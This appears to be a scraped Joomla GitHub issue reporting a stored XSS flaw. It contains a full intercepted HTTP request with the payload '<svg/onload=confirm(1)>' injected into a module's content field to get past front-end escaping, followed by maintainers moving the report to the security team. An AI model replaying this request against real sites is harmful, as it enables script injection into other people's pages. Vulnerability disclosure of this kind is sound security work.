POST /joomla-cms-staging/index.php/component/config/ HTTP/1.1
Host: 192.168.5.15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1898
Origin: http://192.168.5.15
Connection: close
Referer: http://192.168.5.15/joomla-cms-staging/index.php?option=com_config&controller=config.display.modules&id=83&Itemid=0&return=aHR0cDovLzE5Mi4xNjguNS4xNS9qb29tbGEtY21zLXN0YWdpbmcvaW5kZXgucGhwP29wdGlvbj1jb21fY29uZmlnJmNvbnRyb2xsZXI9Y29uZmlnLmRpc3BsYXkubW9kdWxlcyZpZD04MyZJdGVtaWQ9MCZyZXR1cm49YUhSMGNEb3ZMekU1TWk0eE5qZ3VOUzR4TlM5cWIyOXRiR0V0WTIxekxYTjBZV2RwYm1jdmFXNWtaWGd1Y0dod0wyTnZiWEJ2Ym1WdWRDOWpiMjVtYVdjdlAyTnZiblJ5YjJ4c1pYSTlZMjl1Wm1sbkxtUnBjM0JzWVhrdWJXOWtkV3hsY3lacFpEMDRNeVp5WlhSMWNtNDlZVWhTTUdORWIzWk1la1UxVFdrMGVFNXFaM1ZPVXpSNFRsTTVjV0l5T1hSaVIwVjBXVEl4ZWt4WVRqQlpWMlJ3WW0xamRtRlhOV3RhV0dkMVkwZG9kMHd5VG5aaVdFSjJZbTFXZFdSRE9XcGlNalZ0WVZkamRsQXlUblppYmxKNVlqSjRjMXBZU1RsWk1qbDFXbTFzYmt4dFVuQmpNMEp6V1ZocmRXSlhPV3RrVjNoc1kzbGFjRnBFTURSTmVWcDVXbGhTTVdOdE5EbFpWV2hUVFVkT1JXSXpXazFsYTFVeFZGZHJNR1ZGTlhGYU0xWlBWWHBTTkZSc1RUVmpWMGw1VDFoU2FWSXdWakJYVkVsNFpXdDRXVlJxUWxwV01sSjNXVzB4YW1SdFJsaE9WM1JoVjBka01Wa3daRzlrTUhkNVZtMTBhRmRHUmpCWk1HaExaR3h3ZEdKSVRtRlZWREE1
Cookie: 0f78a3a48a290132501d992011c5a490=d8ebj07g33dtmh58se3utlkjvo; joomla_user_state=logged_in
Upgrade-Insecure-Requests: 1
jform%5Btitle%5D=Side+Module&jform%5Bshowtitle%5D=1&jform%5Bposition%5D=position-7&jform%5Bpublished%5D=1&jform%5Bpublish_up%5D=&jform%5Bpublish_down%5D=&jform%5Baccess%5D=1&jform%5Bordering%5D=1&jform%5Blanguage%5D=*&jform%5Bnote%5D=&jform%5Bparams%5D%5Bprepare_content%5D=1&jform%5Bparams%5D%5Bbackgroundimage%5D=&jform%5Bparams%5D%5Blayout%5D=_%3Adefault&jform%5Bparams%5D%5Bmoduleclass_sfx%5D=&jform%5Bparams%5D%5Bcache%5D=1&jform%5Bparams%5D%5Bcache_time%5D=900&jform%5Bparams%5D%5Bcachemode%5D=static&jform%5Bparams%5D%5Bmodule_tag%5D=div&jform%5Bparams%5D%5Bbootstrap_size%5D=0&jform%5Bparams%5D%5Bheader_tag%5D=h3&jform%5Bparams%5D%5Bheader_class%5D=&jform%5Bparams%5D%5Bstyle%5D=0&jform%5Bcontent%5D=%3Cp%3EThis+is+a+module+where+you+might+want+to+add+some+more+information+or+an+image%2C+a+link+to+your+social+media+presence%2C+or+whatever+makes+sense+for+your+site.%3C%2Fp%3E%0D%0A%3Cp%3EYou+can+edit+this+module+in+the+module+manager.+Look+for+the+Side+Module.%3C%2Fp%3E<svg/onload=confirm(1)>&id=83&return=aHR0cDovLzE5Mi4xNjguNS4xNS9qb29tbGEtY21zLXN0YWdpbmcvaW5kZXgucGhwP29wdGlvbj1jb21fY29uZmlnJmNvbnRyb2xsZXI9Y29uZmlnLmRpc3BsYXkubW9kdWxlcyZpZD04MyZJdGVtaWQ9MCZyZXR1cm49YUhSMGNEb3ZMekU1TWk0eE5qZ3VOUzR4TlM5cWIyOXRiR0V0WTIxekxYTjBZV2RwYm1jdmFXNWtaWGd1Y0dod0wyTnZiWEJ2Ym1WdWRDOWpiMjVtYVdjdlAyTnZiblJ5YjJ4c1pYSTlZMjl1Wm1sbkxtUnBjM0JzWVhrdWJXOWtkV3hsY3lacFpEMDRNeVp5WlhSMWNtNDlZVWhTTUdORWIzWk1la1UxVFdrMGVFNXFaM1ZPVXpSNFRsTTVjV0l5T1hSaVIwVjBXVEl4ZWt4WVRqQlpWMlJ3WW0xamRtRlhOV3RhV0dkMVkwZG9kMHd5VG5aaVdFSjJZbTFXZFdSRE9XcGlNalZ0WVZkamRsQXlUblppYmxKNVlqSjRjMXBZU1RsWk1qbDFXbTFzYmt4dFVuQmpNMEp6V1ZocmRXSlhPV3RrVjNoc1kzbGFjRnBFTURSTmVWcDVXbGhTTVdOdE5EbFpWV2hUVFVkT1JXSXpXazFsYTFVeFZGZHJNR1ZGTlhGYU0xWlBWWHBTTkZSc1RUVmpWMGw1VDFoU2FWSXdWakJYVkVsNFpXdDRXVlJxUWxwV01sSjNXVzB4YW1SdFJsaE9WM1JoVjBka01Wa3daRzlrTUhkNVZtMTBhRmRHUmpCWk1HaExaR3h3ZEdKSVRtRlZWREE1&task=config.save.modules.apply&58921617fdc2db11481c8464ca1bd648=1
Labels |
Added:
?
|
The editor has already escaped special characters on the front end, but uses Burp Suite to intercept the information packet to make changes, directly add XSS statements, and it executes successfully.
Security issues should NOT be reported on this repository.
If you believe you have found a security issue, please contact the Joomla Security Strike Team via email at security@joomla.org or through the contact form at https://developer.joomla.org/security/contact-the-team.html.
Please see https://developer.joomla.org/security.html for more information on how the Joomla project responds to security issues.
@wsfengfan as brian said please don't report security issues in the public tracker, I transfer the issue to the security repo thx.
And please contact the security team at security@joomla.org for feedback requests